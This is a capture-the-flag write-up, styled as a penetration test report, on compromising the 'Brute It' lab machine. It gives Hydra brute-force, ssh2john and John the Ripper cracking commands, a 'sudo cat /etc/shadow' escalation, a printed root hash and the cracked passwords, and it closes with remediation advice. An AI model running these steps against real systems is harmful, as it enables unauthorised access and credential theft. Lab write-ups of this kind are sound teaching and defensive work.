

Penetration Testing Report: "Brute It" CTF Challenge

Executive Summary

This report documents the security assessment and systematic exploitation of the **Brute It** target machine (10.113.172.165). The assessment identified critical vulnerabilities across multiple layers:

1. **Web Layer:** An exposed administrative panel subject to brute-force attacks due to a lack of rate limiting.
2. **Key Storage:** Exposure of sensitive SSH private keys inside an authenticated administrative portal.
3. **Weak Cryptography:** Insecure passphrase selection for private keys and system users, leaving them vulnerable to offline dictionary attacks.
4. **Privilege Configuration:** Overly permissive `sudo` policies allowing non-privileged users to read restricted files.

By chaining these vulnerabilities, full administrative (`root`) compromise was successfully achieved.

Technical Walkthrough & Exploitation Chain

Phase 1: Reconnaissance & Enumeration

Network Scanning (Nmap)

An initial port scan was executed to discover active network services on the target.

Plaintext

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
--------	------	-----	--

80/tcp	open	http	Apache httpd 2.4.29 ((Ubuntu))
--------	------	------	--------------------------------

- **Vulnerability Analysis:** The scan revealed a web server running on port 80 and an SSH service on port 22.

Directory Busting (Gobuster)

To map the web application structure, directory brute-forcing was performed.

Plaintext

.hta	(Status: 403) [Size: 279]
------	---------------------------

.htaccess	(Status: 403) [Size: 279]
-----------	---------------------------

.htpasswd	(Status: 403) [Size: 279]
-----------	---------------------------

admin	(Status: 301) [Size: 316] [--> http://10.113.172.165/admin/]
-------	--

index.html (Status: 200) [Size: 10918]
server-status (Status: 403) [Size: 279]

- **Vulnerability Analysis:** The discovery of the `/admin` subdirectory pointed to a restricted login portal.

Phase 2: Web Exploitation & Access

Administrative Portal Brute-Force (Hydra)

The login portal at `/admin/` lacked rate limiting, allowing automated brute-force attempts. A dictionary attack was launched targeting the `admin` username.

Bash

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.113.172.165 http-post-form  
"/admin/:user=^USER^&pass=^PASS^:Invalid"
```

- **Result:** Credentials successfully recovered:
 - **Username:** `admin`
 - **Password:** `xavier`

Initial Foothold & Private Key Exfiltration

Logging into `/admin/` revealed an encrypted SSH private key (`id_rsa`) designated for the local user `john`.

Phase 3: Cryptographic Cracking (John the Ripper)

Cracking the SSH Private Key Passphrase

The exfiltrated private key was encrypted. John the Ripper was used to crack the passphrase offline.

Bash

```
# Convert the private key to a crackable hash format  
ssh2john id_rsa > id_rsa.hash
```

```
# Perform dictionary attack
```

```
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
```

- **Result:** SSH Key Passphrase cracked: `rockinroll`

Establishing SSH Access

After correcting file permissions (`chmod 600 id_rsa`), local user access was established via SSH:

Bash

```
ssh -i id_rsa john@10.113.172.165
```

Phase 4: Privilege Escalation

Misconfigured Sudo Privileges

Upon landing on the machine as user `john`, privilege evaluation was performed:

```
Bash
john@bruteit:~$ sudo -l
```

The output revealed that user `john` could run `/bin/cat` as `root` without providing a password:

```
Plaintext
User john may run the following commands on bruteit:
(root) NOPASSWD: /bin/cat
```

Exploitation via Arbitrary File Read

Because `/bin/cat` runs with absolute root permissions, it can bypass standard Linux file access controls. The shadow file was exfiltrated to retrieve the system administrator's credentials:

```
Bash
sudo cat /etc/shadow
```

Exfiltrated Root Hash:

```
Plaintext
$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYP
UTAAaWu4infDjl88U9yUXEVgL.:18490:0:99999:7:::
```

Cracking the Root Hash

The SHA-512 crypt hash of the system root account was extracted and cracked offline:

```
Bash
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt
```

- **Result:** Root Password cracked: `football`

The attacker logged in as `root` using `su root` and the password `football`, achieving full system compromise.

Remediation Recommendations

Vulnerability	Impact	Mitigation Strategy

No Web Login Rate Limiting	High	Implement account lockout policies (e.g., lock accounts for 15 minutes after 5 failed attempts) and integrate CAPTCHA challenges on the <code>/admin/</code> endpoint.
Exposed Private Keys	Critical	Avoid storing highly sensitive credentials, such as private keys, in web accessible directories. Keys should be stored in secure vaults or managed via SSH agent forwarding.
Weak Passwords (<code>xavier</code> , <code>rockinroll</code> , <code>football</code>)	High	Enforce a strong password complexity policy (minimum 14 characters, containing mixed cases, digits, and special characters) across the organization.
Overly Permissive Sudo Configuration	Critical	Adhere to the Principle of Least Privilege . Avoid granting <code>sudo</code> access to binaries that can read/write arbitrary files (like <code>cat</code> , <code>vi</code> , or <code>less</code>). If files must be read, restrict permissions specifically via Access Control Lists (ACLs) rather than system-wide sudo access.